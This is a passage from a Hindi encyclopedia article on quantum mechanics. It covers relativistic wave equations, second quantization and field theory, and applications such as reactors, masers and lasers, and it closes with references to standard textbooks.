के संबंध में, जिसके अनुसार किसी जगत्‌ में एक ही अवस्था के दो इलेक्ट्रान नहीं हो सकते, याद रखने योग्य है।

आपेक्षिकतानुकूल समीकरण (Relativistic equations)--हैमिल्टोनियन की पदसंहति (46) आपेक्षिकतारहित है। यदि आपेक्षिकता के प्रभावों का भी हम अपनी गणना में समावेश करना चाहें तो (46) की जगह समीकरण (45) में

H=c Öp2 + m2 c2 (50)

(c=प्रकाशगति)

उपयोग करना पड़ेगा। परंतु P यहाँ पर कारक है इसलिए उसका वर्गमूल च्ह्रि के अंदर आना अच्छा नहीं। इस अवाछनीय स्थिति को हम (45) के दोनों पक्षों पर फिर से H द्वारा क्रिया करके दूर कर सकते हैं। तब बाएँ पक्ष में (44) और दाहिने में (43) का प्रयोग करने से यह आ जाएगा:

1/c2 ¶2y/¶t2 = Ñ2y – m2c2/h2 y

या

(1/c2 ¶2/¶t2 – Ñ2 + m2c2/h2)y = 0 (51)

आपेक्षिकतानूकुल समीकरणों में यही सबसे सरल है। हम .. को आपेक्षिकता रूपांतरों के प्रति अदिश (scalar), सदिश (vector), प्रदिश (tensor) इत्यादि ले सकते हैं। यदि yको हम मिथ्यादिश (pseudoscalar) लें तो (51) पाई-मेसान (meson) का निरूपण करेगा। (51) मुक्त कणों का समीकण है (समी. (14) के बाद की व्याख्या से तुलना करें)। यदि बाह्म बल भी हों ता (51) में कुछ संशोधन करना होगा।

आधे आवर्तन के कणों के लिए समीकरणों इलेक्ट्रान के अंतर्गत दिया गया है। वास्तव में आधे आवर्तन के कण अन्य कणों की तुलना में संभवत: अधिक मौलिक (fundamental) हैं। उदाहरण के लिए हम यह अनुमान कर सकते हैं कि शून्य या इकाई आवर्तन का कोई कण आधे आर्वतन के दो कणों से बना हुआ हो, परन्तु आधे आर्वतन के कण को हम किसी प्रकार भी शून्य या इकाई आवर्तनवाले कणों के योग से नहीं बना सकते।

आधे आवर्तन के समीकरण के प्रतिरूप (model) पर अधिक (जैसे इत्यादि) आवर्तनवाले समीकरण भी दिए गए हैं, किंतु यह बात अभी संदेहयुक्त है कि वे किसी भौतिक कण का निरूपण करते हैं। क्षेत्रवाद (Field theory) और द्वितीय क्वांटीकरण (second quantization)------(51) या उसी प्रकार के समीकरण तरंगों का तो भली भाँति निरूपण करते है पर उनसे कण के लक्षण लुप्त हो गए है। (51) से कण के लक्षण पुन: संग्रह करने के लिए उस समीकरण का दुबारा क्वांटीकरण करना पड़ेगा। दुबारा क्वांटरकरण की यह विधि आधुनिक भौतिकी का अत्यंत महत्वपूर्ण सिद्धांत है। इसकी सहायता से न केवल द्रव्य के तरंग और कण रूपों को एक सिद्धांत में संबद्ध कर सकते है, बल्कि उसके द्वारा कणों के सृजन (creation) और नाश (annihilation) की व्याख्या भी संभव है [देखें Wentzel]।

अब कोई संदेह नहीं रहा है कि द्रव्य का गुणधर्म समझने के लिये क्वांटम सिद्धांत का उपयोग अनिवार्य है। क्षेत्रवाद में क्वांटनवाद का उपयोग अत्यंत महत्वपूर्ण हैं। जहाँ तक विद्युद्गति (electro-dynamics) का संबंध हैं, परीक्षणों के परिणाम क्वांटम क्षेत्रवाद के परमानुकूल हैं। गणना करने के ढंग अवश्य असंतोषजनक हैं। यहाँ तक कि प्राय: ऐसा प्रतीत होता है कि सिद्धांत और परीक्षणों का मेल कहीं आकस्मिक ही तो नहीं। यह भावना और भी प्रबल हो जाती है जब हम विद्युद्गति को छोड़कर और क्षेत्रों का, जैसे मेसान क्षेत्र का, अनुसंधान करते हैं। वहाँ कुछ स्थितियों में तो अनंत (infinite) पदसंहतियों के कारण गणना करना असंभव ही हो जाता है; शेष कुछ में जहाँ हम गणना कर भी सकते हैं, परिणम परिक्षणों से भिन्न निकलते है। ऐसी दशा में क्वांटम यांत्रिकी केवल कुछ गुणात्मक आकार (qualitative features) ही व्यक्त कर सकती है। पिछले कुछ वर्षो से वैज्ञानिक विस्तृत गणना छोड़कर मूल सिद्धांतों द्वारा ही जितने परिणाम निकल सकते हैं, निकालने में लगे हुए हैं। क्वांटम यांत्रिकी के मुख्य सिद्धांत तो ठीक ही माने जाते हैं, पर उनके सविस्तार वर्णन में परिवर्तन की आवश्यकता है। पिछले 20 वर्षों में बहुत से नए कणों का आविष्कार हुआ है, पर अभी यह स्थिर नहीं किया जा सका है कि उनको वर्तमान सिद्धांतों के साँचे में किस प्रकार ठीक ठीक बैठाया जाए। भौतिकज्ञ इन प्रश्नों के गंभीर अन्वेषण में लगे हुए हैं। संभव है, शीघ्र ही नए सिद्धांत उद्भावित हों, जो वर्तमान कठिनाइयों का दूर कर सकें और जिनमें नए कणों का भी यथातथ्य प्राकृतिक स्थान हो।[१] क्वांटम यांत्रिकी का पहला शिल्पिक प्रयोग परमाणु भट्ठी में किया गया जिसमें न्यूट्रान धाराएँ भारी परमाणाुओ के न्युक्लियसो का विखंडन कर ऊष्मा और विद्युत उत्पन्न करती है। वैज्ञानिको का ध्यान इसके पश्चात्‌ हल्के न्यूक्लियसों जैसे हाइड्रोजन के समस्थानिको की ओर गया। क्वांटम योत्रिकी की सहायता से गणना द्वारा संलयन (fusion) अभिक्रियाओं से संबंधित कई तथ्यों की जानकारी प्राप्त होती है और इससे उत्पन्न होनेवाली ऊर्जा का पहले से पता लगाया जा सकता है। क्वांटम यांत्रिकी से द्रव्यो के आश्चर्यजनक गुणों की व्याख्या के साथ साथ यह भी जानना संभव हो सका कि इन गुण को किस प्रकार विकसित किया जा सकता है।

आज से लगभग 15 वर्षों पूर्व सोवियत वैज्ञानिक वी. फा. विक्रांत ने विद्युत्‌ चुंबकीय तरंगों के क्वाटम प्रवर्धन की कल्पना प्रस्तुत की थी। इस प्रकार क्वांटम यांत्रिकी के क्वांटम प्रवर्धक और फिर क्वांटम दोलित्र के रूप में प्रयोग से अनेक उपस्करों तथा मेंसर और लेसर का आविष्कार संभव हुआ।


टीका टिप्पणी और संदर्भ

  1. सं. ग्रं.-डि. बोम (D.Bohm) : क्वांटम थ्योरी, प्रेंटिसहॉल (1951); एम. बार्न (M.Born) ऐटमिक फ़िज़िक्स, ब्लैकी ऐंड संस, पंचम संस्करण (1951); पी. ए. एम. डिरैक (P.A.M.Dirac) : द प्रिंसिपल्स ऑव क्वांटम मिकैनिक्स, ऑक्सफोर्ड, चतुर्थ संस्करण, (1958); ए. मार्च (A.March) : क्वांटम मिकैनिक्स ऑव पार्टिकल्स ऐंड वेव फीलड्स , जॉन विली (1951); जे. फ़ॉन न्यूमैन (J.von Neumann) मैथेमेटिकल फाउंडेशंस (रॉवर्ट टी. वीयर का अंग्रेजी अनुवाद), प्रिंसटन (1955); एल. आई. शिफ (L.I.Schiff): क्वांटम मिकैनिक्स, मैकग्रॉ हिल, द्वितीय संस्करण, (1955)। (वा.)